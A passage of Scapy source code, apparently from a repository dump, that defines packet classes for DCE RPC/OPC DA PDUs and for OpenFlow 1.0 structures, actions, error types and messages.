multi-PDU # request. A fack PDU explicitly acknowledges that the server has received the # fragment; it may tell the sender to stop sending for a while. class OpcDaFack(Packet): # DCE 1.1 RPC - 12.5.3.4 name = "OpcDaFack" fields_desc = [ ShortField('version', 0), ByteField('pad', 0), ShortField('windowSize', 0), IntField('maxTsdu', 0), IntField('maxFragSize', 0), ShortField('serialNum', 0), FieldLenField('selackLen', 0, count_of='selack', fmt="H"), PacketListField('selack', None, IntField, count_from=lambda pkt:pkt.selackLen), ] def extract_padding(self, p): return b"", p OpcDaFackLE = _make_le(OpcDaFack) # A server sends a cancel_ack PDU after it has received a cancel PDU. # A cancel_ack PDU acknowledges that the server has cancelled or orphaned # a remote call or indicates that the server is not accepting cancels. # A ancel_ack PDUs can optionally have a body. A cancel_ack PDU without a body # acknowledges orphaning of a call, whereas a cancel_ack PDU with a body # acknowledges cancellation of a call. Orphaned calls do not perform any # further processing. Canceled calls transparently deliver a notification to # the server manager routine without altering the run-time system state of the # call. The run-time system's processing of a cancelled call continues # uninterrupted. class OpcDaCancel_ack(Packet): # DCE 1.1 RPC - 12.5.3.2 name = "OpcDaCancel_ack" fields_desc = [ IntField('version', 0), IntField('cancelId', 0), ByteField('accepting', 1) ] def extract_padding(self, p): return b"", p OpcDaCancel_ackLE = _make_le(OpcDaCancel_ack) # The bind PDU is used to initiate the presentation negotiation for the body # data, and optionally, authentication. The presentation negotiation follows # the model of the OSI presentation layer. class OpcDaBind(Packet): # DCE 1.1 RPC - 12.6.4.3 name = "OpcDaBind" fields_desc = [ ShortField('maxXmitFrag', 5840), ShortField('maxRecvtFrag', 5840), IntField('assocGroupId', 0), ByteField('nbContextElement', 1), ByteField('reserved', 0), ShortField('reserved2', 0), PacketListField('contextItem', None, ContextElement, count_from=lambda pkt:pkt.nbContextElement), PacketField('authentication', None, AuthentificationProtocol), ] def extract_padding(self, p): return b"", p OpcDaBindLE = _make_le(OpcDaBind) # The bind_ack PDU is returned by the server when it accepts a bind request # initiated by the client's bind PDU. It contains the results of presentation # context and fragment size negotiations. It may also contain a new # association group identifier if one was requested by the client. class OpcDaBind_ack(Packet): # DCE 1.1 RPC - 12.6.4.4 name = "OpcDaBind_ack" fields_desc = [ ShortField('maxXmitFrag', 5840), ShortField('maxRecvtFrag', 5840), IntField('assocGroupId', 0), PacketField('portSpec', '\x00\x00\x00\x00', LenStringPacket), IntField('pad2', 0), PacketField('resultList', None, ResultList), PacketField('authentication', None, AuthentificationProtocol), ] def extract_padding(self, p): return b"", p OpcDaBind_ackLE = _make_le(OpcDaBind_ack) # The bind_nak PDU is returned by the server when it rejects an association # request initiated by the client's bind PDU. The provider_reject_reason field # holds the rejection reason code. When the reject reason is # protocol_version_not_supported, the versions field contains a list of # run-time protocol versions supported by the server. class OpcDaBind_nak(Packet): # DCE 1.1 RPC - 12.6.4.5 name = "OpcDaBind_nak" fields_desc = [ ShortEnumField("providerRejectReason", 0, _rejectBindNack) ] # To complete def extract_padding(self, p): return b"", p OpcDaBind_nakLE = _make_le(OpcDaBind_nak) # The alter_context PDU is used to request additional presentation negotiation # for another interface and/or version, or to negotiate a new security # context, or both. class OpcDaAlter_context(Packet): # DCE 1.1 RPC - 12.6.4.1 name = "OpcDaAlter_context" fields_desc = [ ShortField('maxXmitFrag', 5840), ShortField('maxRecvtFrag', 5840), IntField('assocGroupId', 0), # PacketField('authentication', None, AuthentificationProtocol), ] # To complete def extract_padding(self, p): return b"", p OpcDaAlter_contextLE = _make_le(OpcDaAlter_context) class OpcDaAlter_Context_Resp(Packet): # DCE 1.1 RPC - 12.6.4.2 name = "OpcDaAlter_Context_Resp" fields_desc = [ ShortField('maxXmitFrag', 5840), ShortField('maxRecvtFrag', 5840), IntField('assocGroupId', 0), PacketField('portSpec', '\x00\x00\x00\x00', LenStringPacket), IntField('pad2', 0), PacketField('resultList', None, ResultList), PacketField('authentication', None, AuthentificationProtocol), ] # To complete def extract_padding(self, p): return b"", p OpcDaAlter_Context_RespLE = _make_le(OpcDaAlter_Context_Resp) # The shutdown PDU is sent by the server to request that a client terminate the # connection, freeing the related resources. # The shutdown PDU never contains an authentication verifier even if # authentication services are in use. class OpcDaShutdown(Packet): # DCE 1.1 RPC - 12.6.4.11 name = "OpcDaShutdown" def extract_padding(self, p): return b"", p # The cancel PDU is used to forward a cancel. class OpcDaCo_cancel(Packet): # DCE 1.1 RPC - 12.5.3.3 name = "OpcDaCO_cancel" fields_desc = [ PacketField('authentication', None, AuthentificationProtocol), IntField('version', 0), IntField('cancelId', 0), ] def extract_padding(self, p): return b"", p OpcDaCo_cancelLE = _make_le(OpcDaCo_cancel) # The orphaned PDU is used by a client to notify a server that it is aborting a # request in progress that has not been entirely transmitted yet, or that it # is aborting a (possibly lengthy) response in progress. class OpcDaOrphaned(AuthentificationProtocol): name = "OpcDaOrphaned" # DCE 1.1 RPC sect 12 _opcDa_pdu_classes = { 0: [OpcDaRequest, OpcDaRequestLE], 1: [OpcDaPing, OpcDaPing], 2: [OpcDaResponse, OpcDaResponseLE], 3: [OpcDaFault, OpcDaFaultLE], 4: [OpcDaWorking, OpcDaWorking], 5: [OpcDaNoCall, OpcDaNoCallLE], 6: [OpcDaReject, OpcDaRejectLE], 7: [OpcDaAck, OpcDaAck], 8: [OpcDaCl_cancel, OpcDaCl_cancelLE], 9: [OpcDaFack, OpcDaFackLE], 10: [OpcDaCancel_ack, OpcDaCancel_ackLE], 11: [OpcDaBind, OpcDaBindLE], 12: [OpcDaBind_ack, OpcDaBind_ackLE], 13: [OpcDaBind_nak, OpcDaBind_nakLE], 14: [OpcDaAlter_context, OpcDaAlter_contextLE], 15: [OpcDaAlter_Context_Resp, OpcDaAlter_Context_RespLE], 17: [OpcDaShutdown, OpcDaShutdown], 18: [OpcDaCo_cancel, OpcDaCo_cancelLE], 19: [OpcDaOrphaned, OpcDaOrphaned], # Not in the official documentation 16: [OpcDaAuth3, OpcDaAuth3LE], } class OpcDaHeaderN(Packet): # Last 3 fields of the common fields, used for dispatching the PDUs name = "OpcDaHeaderNext" fields_desc = [ ShortField('fragLength', 0), ShortEnumField('authLength', 0, _authentification_protocol), IntField('callID', 0) ] def guess_payload_class(self, payload): if self.underlayer: try: return _opcDa_pdu_classes[self.underlayer.pduType][ self.__class__.__name__.endswith("LE") ] except AttributeError: pass return conf.raw_layer OpcDaHeaderNLE = _make_le(OpcDaHeaderN) _opcda_next_header = { 0: OpcDaHeaderN, 1: OpcDaHeaderNLE } class OpcDaHeaderMessage(Packet): # An actual RPC PDU # DCE 1.1 RPC - 12.6.3.1 name = "OpcDaHeader" deprecated_fields = { "pdu_type": ("pduType", "2.5.0"), } fields_desc = [ ByteField('versionMajor', 0), ByteField('versionMinor', 0), ByteEnumField("pduType", 0, _pduType), FlagsField('pfc_flags', 0, 8, _pfc_flags), # Non-Delivery Report/Receipt (NDR) Format Label # DCE 1.1 RPC - 14.1 BitEnumField('integerRepresentation', 1, 4, {0: "bigEndian", 1: "littleEndian"}), BitEnumField('characterRepresentation', 0, 4, {0: "ascii", 1: "ebcdic"}), ByteEnumField('floatingPointRepresentation', 0, {0: "ieee", 1: "vax", 2: "cray", 3: "ibm"}), ShortField('res', 0), ] def guess_payload_class(self, payload): try: return _opcda_next_header[self.integerRepresentation] except Exception: pass # try: # return _opcDa_pdu_classes[self.pduType][self.integerRepresentation] # except Exception: # pass class OpcDaMessage(Packet): name = "OpcDaMessage" fields_desc = [ PacketField('OpcDaMessage', None, OpcDaHeaderMessage) ] ================================================ FILE: scapy/contrib/openflow.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) 2014 Maxence Tury """ OpenFlow v1.0.1 OpenFlow is an open standard used in SDN deployments. Specifications can be retrieved from https://www.opennetworking.org/ """ # scapy.contrib.description = Openflow v1.0 # scapy.contrib.status = loads import struct from scapy.compat import chb, orb, raw from scapy.config import conf from scapy.error import warning from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, FieldLenField, FlagsField, IntEnumField, IntField, IPField, LongField, MACField, PacketField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, X3BytesField, XBitField, XByteField, XIntField, XShortField # noqa: E501 from scapy.layers.l2 import Ether from scapy.layers.inet import TCP from scapy.packet import Packet, Raw, bind_bottom_up, bind_top_down from scapy.utils import binrepr # If prereq_autocomplete is True then match prerequisites will be # automatically handled. See OFPMatch class. conf.contribs['OPENFLOW'] = {'prereq_autocomplete': True} ##################################################### # Predefined values # ##################################################### ofp_port_no = {0xfff8: "IN_PORT", 0xfff9: "TABLE", 0xfffa: "NORMAL", 0xfffb: "FLOOD", 0xfffc: "ALL", 0xfffd: "CONTROLLER", 0xfffe: "LOCAL", 0xffff: "NONE"} ofp_table = {0xff: "ALL"} ofp_queue = {0xffffffff: "ALL"} ofp_buffer = {0xffffffff: "NO_BUFFER"} ofp_max_len = {0xffff: "NO_BUFFER"} ##################################################### # Common structures # ##################################################### # The following structures will be used in different types # of OpenFlow messages: ports, matches, actions, queues. # Ports # ofp_port_config = ["PORT_DOWN", "NO_STP", "NO_RECV", "NO_RECV_STP", "NO_FLOOD", "NO_FWD", "NO_PACKET_IN"] ofp_port_state = ["LINK_DOWN"] ofp_port_state_stp = {0: "OFPPS_STP_LISTEN", 1: "OFPPS_STP_LEARN", 2: "OFPPS_STP_FORWARD", 3: "OFPPS_STP_BLOCK"} ofp_port_features = ["10MB_HD", "10MB_FD", "100MB_HD", "100MB_FD", "1GB_HD", "1GB_FD", "10GB_FD", "COPPER", "FIBER", "AUTONEG", "PAUSE", "PAUSE_ASYM"] class OFPPhyPort(Packet): name = "OFP_PHY_PORT" fields_desc = [ShortEnumField("port_no", 0, ofp_port_no), MACField("hw_addr", "0"), StrFixedLenField("port_name", "", 16), FlagsField("config", 0, 32, ofp_port_config), BitEnumField("stp_state", 0, 24, ofp_port_state), FlagsField("state", 0, 8, ofp_port_state), FlagsField("curr", 0, 32, ofp_port_features), FlagsField("advertised", 0, 32, ofp_port_features), FlagsField("supported", 0, 32, ofp_port_features), FlagsField("peer", 0, 32, ofp_port_features)] def extract_padding(self, s): return b"", s class OFPMatch(Packet): name = "OFP_MATCH" fields_desc = [FlagsField("wildcards1", None, 12, ["DL_VLAN_PCP", "NW_TOS"]), BitField("nw_dst_mask", None, 6), BitField("nw_src_mask", None, 6), FlagsField("wildcards2", None, 8, ["IN_PORT", "DL_VLAN", "DL_SRC", "DL_DST", "DL_TYPE", "NW_PROTO", "TP_SRC", "TP_DST"]), ShortEnumField("in_port", None, ofp_port_no), MACField("dl_src", None), MACField("dl_dst", None), ShortField("dl_vlan", None), ByteField("dl_vlan_pcp", None), XByteField("pad1", None), ShortField("dl_type", None), ByteField("nw_tos", None), ByteField("nw_proto", None), XShortField("pad2", None), IPField("nw_src", "0"), IPField("nw_dst", "0"), ShortField("tp_src", None), ShortField("tp_dst", None)] def extract_padding(self, s): return b"", s # with post_build we create the wildcards field bit by bit def post_build(self, p, pay): # first 10 bits of an ofp_match are always set to 0 lst_bits = "0" * 10 # when one field has not been declared, it is assumed to be wildcarded if self.wildcards1 is None: if self.nw_tos is None: lst_bits += "1" else: lst_bits += "0" if self.dl_vlan_pcp is None: lst_bits += "1" else: lst_bits += "0" else: w1 = binrepr(self.wildcards1) lst_bits += "0" * (2 - len(w1)) lst_bits += w1 # ip masks use 6 bits each if self.nw_dst_mask is None: if self.nw_dst == "0": lst_bits += "111111" # 0x100000 would be ok too (32-bit IP mask) else: lst_bits += "0" * 6 else: m1 = binrepr(self.nw_dst_mask) lst_bits += "0" * (6 - len(m1)) lst_bits += m1 if self.nw_src_mask is None: if self.nw_src == "0": lst_bits += "111111" else: lst_bits += "0" * 6 else: m2 = binrepr(self.nw_src_mask) lst_bits += "0" * (6 - len(m2)) lst_bits += m2 # wildcards2 works the same way as wildcards1 if self.wildcards2 is None: if self.tp_dst is None: lst_bits += "1" else: lst_bits += "0" if self.tp_src is None: lst_bits += "1" else: lst_bits += "0" if self.nw_proto is None: lst_bits += "1" else: lst_bits += "0" if self.dl_type is None: lst_bits += "1" else: lst_bits += "0" if self.dl_dst is None: lst_bits += "1" else: lst_bits += "0" if self.dl_src is None: lst_bits += "1" else: lst_bits += "0" if self.dl_vlan is None: lst_bits += "1" else: lst_bits += "0" if self.in_port is None: lst_bits += "1" else: lst_bits += "0" else: w2 = binrepr(self.wildcards2) lst_bits += "0" * (8 - len(w2)) lst_bits += w2 # In order to write OFPMatch compliant with the specifications, # if prereq_autocomplete has been set to True # we assume ethertype=IP or nwproto=TCP when appropriate subfields are provided. # noqa: E501 if conf.contribs['OPENFLOW']['prereq_autocomplete']: if self.dl_type is None: if self.nw_src != "0" or self.nw_dst != "0" or \ self.nw_proto is not None or self.nw_tos is not None: p = p[:22] + struct.pack("!H", 0x0800) + p[24:] lst_bits = lst_bits[:-5] + "0" + lst_bits[-4:] if self.nw_proto is None: if self.tp_src is not None or self.tp_dst is not None: p = p[:22] + struct.pack("!H", 0x0800) + p[24:] lst_bits = lst_bits[:-5] + "0" + lst_bits[-4:] p = p[:25] + struct.pack("!B", 0x06) + p[26:] lst_bits = lst_bits[:-6] + "0" + lst_bits[-5:] ins = b"".join(chb(int("".join(x), 2)) for x in zip(*[iter(lst_bits)] * 8)) # noqa: E501 p = ins + p[4:] return p + pay class _ofp_header(Packet): name = "Dummy OpenFlow Header for some lower layers" def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p + pay class _ofp_header_item(Packet): name = "Dummy OpenFlow Header for items layers" def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) p = struct.pack("!H", tmp_len) + p[2:] return p + pay # Actions # class _UnknownOpenFlow(Raw): name = "Unknown OpenFlow packet" class OpenFlow(_ofp_header): name = "OpenFlow dissector" @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: version = orb(_pkt[0]) if version == 0x04: # OpenFlow 1.3 from scapy.contrib.openflow3 import OpenFlow3 return OpenFlow3.dispatch_hook(_pkt, *args, **kargs) elif version == 0x01: # OpenFlow 1.0 # port 6653 has been allocated by IANA, port 6633 should no # longer be used # OpenFlow function may be called with a None # self in OFPPacketField of_type = orb(_pkt[1]) if of_type == 1: err_type = orb(_pkt[9]) # err_type is a short int, but last byte is enough if err_type == 255: err_type = 65535 return ofp_error_cls[err_type] elif of_type == 16: mp_type = orb(_pkt[9]) if mp_type == 255: mp_type = 65535 return ofp_stats_request_cls[mp_type] elif of_type == 17: mp_type = orb(_pkt[9]) if mp_type == 255: mp_type = 65535 return ofp_stats_reply_cls[mp_type] else: return ofpt_cls[of_type] else: warning("Unknown OpenFlow packet") return _UnknownOpenFlow ofp_action_types = {0: "OFPAT_OUTPUT", 1: "OFPAT_SET_VLAN_VID", 2: "OFPAT_SET_VLAN_PCP", 3: "OFPAT_STRIP_VLAN", 4: "OFPAT_SET_DL_SRC", 5: "OFPAT_SET_DL_DST", 6: "OFPAT_SET_NW_SRC", 7: "OFPAT_SET_NW_DST", 8: "OFPAT_SET_NW_TOS", 9: "OFPAT_SET_TP_SRC", 10: "OFPAT_SET_TP_DST", 11: "OFPAT_ENQUEUE", 65535: "OFPAT_VENDOR"} class OFPATOutput(OpenFlow): name = "OFPAT_OUTPUT" fields_desc = [ShortEnumField("type", 0, ofp_action_types), ShortField("len", 8), ShortEnumField("port", 0, ofp_port_no), ShortEnumField("max_len", "NO_BUFFER", ofp_max_len)] class OFPATSetVLANVID(OpenFlow): name = "OFPAT_SET_VLAN_VID" fields_desc = [ShortEnumField("type", 1, ofp_action_types), ShortField("len", 8), ShortField("vlan_vid", 0), XShortField("pad", 0)] class OFPATSetVLANPCP(OpenFlow): name = "OFPAT_SET_VLAN_PCP" fields_desc = [ShortEnumField("type", 2, ofp_action_types), ShortField("len", 8), ByteField("vlan_pcp", 0), X3BytesField("pad", 0)] class OFPATStripVLAN(OpenFlow): name = "OFPAT_STRIP_VLAN" fields_desc = [ShortEnumField("type", 3, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATSetDlSrc(OpenFlow): name = "OFPAT_SET_DL_SRC" fields_desc = [ShortEnumField("type", 4, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48)] class OFPATSetDlDst(OpenFlow): name = "OFPAT_SET_DL_DST" fields_desc = [ShortEnumField("type", 5, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48)] class OFPATSetNwSrc(OpenFlow): name = "OFPAT_SET_NW_SRC" fields_desc = [ShortEnumField("type", 6, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0")] class OFPATSetNwDst(OpenFlow): name = "OFPAT_SET_NW_DST" fields_desc = [ShortEnumField("type", 7, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0")] class OFPATSetNwToS(OpenFlow): name = "OFPAT_SET_TP_TOS" fields_desc = [ShortEnumField("type", 8, ofp_action_types), ShortField("len", 8), ByteField("nw_tos", 0), X3BytesField("pad", 0)] class OFPATSetTpSrc(OpenFlow): name = "OFPAT_SET_TP_SRC" fields_desc = [ShortEnumField("type", 9, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0)] class OFPATSetTpDst(OpenFlow): name = "OFPAT_SET_TP_DST" fields_desc = [ShortEnumField("type", 10, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0)] class OFPATEnqueue(OpenFlow): name = "OFPAT_ENQUEUE" fields_desc = [ShortEnumField("type", 11, ofp_action_types), ShortField("len", 16), ShortEnumField("port", 0, ofp_port_no), XBitField("pad", 0, 48), IntField("queue_id", 0)] class OFPATVendor(OpenFlow): name = "OFPAT_VENDOR" fields_desc = [ShortEnumField("type", 65535, ofp_action_types), ShortField("len", 8), IntField("vendor", 0)] ofp_action_cls = {0: OFPATOutput, 1: OFPATSetVLANVID, 2: OFPATSetVLANPCP, 3: OFPATStripVLAN, 4: OFPATSetDlSrc, 5: OFPATSetDlDst, 6: OFPATSetNwSrc, 7: OFPATSetNwDst, 8: OFPATSetNwToS, 9: OFPATSetTpSrc, 10: OFPATSetTpDst, 11: OFPATEnqueue, 65535: OFPATVendor} class OFPAT(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_action_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s # Queues # ofp_queue_property_types = {0: "OFPQT_NONE", 1: "OFPQT_MIN_RATE"} class OFPQTNone(_ofp_header): name = "OFPQT_NONE" fields_desc = [ShortEnumField("type", 0, ofp_queue_property_types), ShortField("len", 8), XIntField("pad", 0)] class OFPQTMinRate(_ofp_header): name = "OFPQT_MIN_RATE" fields_desc = [ShortEnumField("type", 1, ofp_queue_property_types), ShortField("len", 16), XIntField("pad", 0), ShortField("rate", 0), XBitField("pad2", 0, 48)] ofp_queue_property_cls = {0: OFPQTNone, 1: OFPQTMinRate} class OFPQT(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_queue_property_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPPacketQueue(Packet): name = "OFP_PACKET_QUEUE" fields_desc = [IntField("queue_id", 0), ShortField("len", None), XShortField("pad", 0), PacketListField("properties", [], OFPQT, length_from=lambda pkt:pkt.len - 8)] def extract_padding(self, s): return b"", s def post_build(self, p, pay): if self.properties == []: p += raw(OFPQTNone()) if self.len is None: tmp_len = len(p) + len(pay) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay ##################################################### # OpenFlow 1.0 Messages # ##################################################### ofp_version = {0x01: "OpenFlow 1.0", 0x02: "OpenFlow 1.1", 0x03: "OpenFlow 1.2", 0x04: "OpenFlow 1.3", 0x05: "OpenFlow 1.4"} ofp_type = {0: "OFPT_HELLO", 1: "OFPT_ERROR", 2: "OFPT_ECHO_REQUEST", 3: "OFPT_ECHO_REPLY", 4: "OFPT_VENDOR", 5: "OFPT_FEATURES_REQUEST", 6: "OFPT_FEATURES_REPLY", 7: "OFPT_GET_CONFIG_REQUEST", 8: "OFPT_GET_CONFIG_REPLY", 9: "OFPT_SET_CONFIG", 10: "OFPT_PACKET_IN", 11: "OFPT_FLOW_REMOVED", 12: "OFPT_PORT_STATUS", 13: "OFPT_PACKET_OUT", 14: "OFPT_FLOW_MOD", 15: "OFPT_PORT_MOD", 16: "OFPT_STATS_REQUEST", 17: "OFPT_STATS_REPLY", 18: "OFPT_BARRIER_REQUEST", 19: "OFPT_BARRIER_REPLY", 20: "OFPT_QUEUE_GET_CONFIG_REQUEST", 21: "OFPT_QUEUE_GET_CONFIG_REPLY"} class OFPTHello(_ofp_header): name = "OFPT_HELLO" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 0, ofp_type), ShortField("len", None), IntField("xid", 0)] ##################################################### # OFPT_ERROR # ##################################################### # this class will be used to display some messages # sent back by the switch after an error class OFPacketField(PacketField): def getfield(self, pkt, s): try: tmp_len = s[2:4] tmp_len = struct.unpack("!H", tmp_len)[0] ofload = s[:tmp_len] remain = s[tmp_len:] return remain, OpenFlow(ofload) except Exception: return "", Raw(s) ofp_error_type = {0: "OFPET_HELLO_FAILED", 1: "OFPET_BAD_REQUEST", 2: "OFPET_BAD_ACTION", 3: "OFPET_FLOW_MOD_FAILED", 4: "OFPET_PORT_MOD_FAILED", 5: "OFPET_QUEUE_OP_FAILED"} class OFPETHelloFailed(_ofp_header): name = "OFPET_HELLO_FAILED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 0, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPHFC_INCOMPATIBLE", 1: "OFPHFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETBadRequest(_ofp_header): name = "OFPET_BAD_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 1, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBRC_BAD_VERSION", 1: "OFPBRC_BAD_TYPE", 2: "OFPBRC_BAD_STAT", 3: "OFPBRC_BAD_VENDOR", 4: "OFPBRC_BAD_SUBTYPE", 5: "OFPBRC_EPERM", 6: "OFPBRC_BAD_LEN", 7: "OFPBRC_BUFFER_EMPTY", 8: "OFPBRC_BUFFER_UNKNOWN"}), OFPacketField("data", "", Raw)] class OFPETBadAction(_ofp_header): name = "OFPET_BAD_ACTION" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 2, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBAC_BAD_TYPE", 1: "OFPBAC_BAD_LEN", 2: "OFPBAC_BAD_VENDOR", 3: "OFPBAC_BAD_VENDOR_TYPE", 4: "OFPBAC_BAD_OUT_PORT", 5: "OFPBAC_BAD_ARGUMENT", 6: "OFPBAC_EPERM", 7: "OFPBAC_TOO_MANY", 8: "OFPBAC_BAD_QUEUE"}), OFPacketField("data", "", Raw)] class OFPETFlowModFailed(_ofp_header): name = "OFPET_FLOW_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 3, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPFMFC_ALL_TABLES_FULL", 1: "OFPFMFC_OVERLAP", 2: "OFPFMFC_EPERM", 3: "OFPFMFC_BAD_EMERG_TIMEOUT", # noqa: E501 4: "OFPFMFC_BAD_COMMAND", 5: "OFPFMFC_UNSUPPORTED"}), OFPacketField("data", "", Raw)] class OFPETPortModFailed(_ofp_header): name = "OFPET_PORT_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 4, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPPMFC_BAD_PORT", 1: "OFPPMFC_BAD_HW_ADDR"}), OFPacketField("data", "", Raw)] class OFPETQueueOpFailed(_ofp_header): name = "OFPET_QUEUE_OP_FAILED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 5, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPQOFC_BAD_PORT", 1: "OFPQOFC_BAD_QUEUE", 2: "OFPQOFC_EPERM"}), OFPacketField("data", "", Raw)] # ofp_error_cls allows generic method OpenFlow() to choose the right class for dissection # noqa: E501 ofp_error_cls = {0: OFPETHelloFailed, 1: OFPETBadRequest, 2: OFPETBadAction, 3: OFPETFlowModFailed, 4: OFPETPortModFailed, 5: OFPETQueueOpFailed} # end of OFPT_ERRORS # class OFPTEchoRequest(_ofp_header): name = "OFPT_ECHO_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 2, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTEchoReply(_ofp_header): name = "OFPT_ECHO_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 3, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTVendor(_ofp_header): name = "OFPT_VENDOR" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 4, ofp_type), ShortField("len", None), IntField("xid", 0), IntField("vendor", 0)] class OFPTFeaturesRequest(_ofp_header): name = "OFPT_FEATURES_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 5, ofp_type), ShortField("len", None), IntField("xid", 0)] ofp_action_types_flags = [v for v in ofp_action_types.values() if v != 'OFPAT_VENDOR'] class OFPTFeaturesReply(_ofp_header): name = "OFPT_FEATURES_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 6, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("datapath_id", 0), IntField("n_buffers", 0), ByteField("n_tables", 1), X3BytesField("pad", 0), FlagsField("capabilities", 0, 32, ["FLOW_STATS", "TABLE_STATS", "PORT_STATS", "STP", "RESERVED", "IP_REASM", "QUEUE_STATS", "ARP_MATCH_IP"]), FlagsField("actions", 0, 32, ofp_action_types_flags), PacketListField("ports", [], OFPPhyPort, length_from=lambda pkt:pkt.len - 32)] class OFPTGetConfigRequest(_ofp_header): name = "OFPT_GET_CONFIG_REQUEST" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 7, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTGetConfigReply(_ofp_header): name = "OFPT_GET_CONFIG_REPLY" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 8, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, {0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK"}), ShortField("miss_send_len", 0)] class OFPTSetConfig(_ofp_header): name = "OFPT_SET_CONFIG" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 9, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, {0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK"}), ShortField("miss_send_len", 128)] class OFPTPacketIn(_ofp_header): name = "OFPT_PACKET_IN" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 10, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortField("total_len", 0), ShortEnumField("in_port", 0, ofp_port_no), ByteEnumField("reason", 0, {0: "OFPR_NO_MATCH", 1: "OFPR_ACTION"}), XByteField("pad", 0), PacketField("data", None, Ether)] class OFPTFlowRemoved(_ofp_header): name = "OFPT_FLOW_REMOVED" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 11, ofp_type), ShortField("len", None), IntField("xid", 0), PacketField("match", OFPMatch(), OFPMatch), LongField("cookie", 0), ShortField("priority", 0), ByteEnumField("reason", 0, {0: "OFPRR_IDLE_TIMEOUT", 1: "OFPRR_HARD_TIMEOUT", 2: "OFPRR_DELETE"}), XByteField("pad1", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("idle_timeout", 0), XShortField("pad2", 0), LongField("packet_count", 0), LongField("byte_count", 0)] class OFPTPortStatus(_ofp_header): name = "OFPT_PORT_STATUS" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 12, ofp_type), ShortField("len", None), IntField("xid", 0), ByteEnumField("reason", 0, {0: "OFPPR_ADD", 1: "OFPPR_DELETE", 2: "OFPPR_MODIFY"}), XBitField("pad", 0, 56), PacketField("desc", OFPPhyPort(), OFPPhyPort)] class OFPTPacketOut(_ofp_header): name = "OFPT_PACKET_OUT" fields_desc = [ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 13, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortEnumField("in_port", "NONE", ofp_port_no), FieldLenField("actions_len", None, fmt="H", length_of="actions"), # noqa: E501 PacketListField("actions", [], OFPAT, ofp_action_cls, length_from=lambda pkt:pkt.actions_len), # noqa: E501 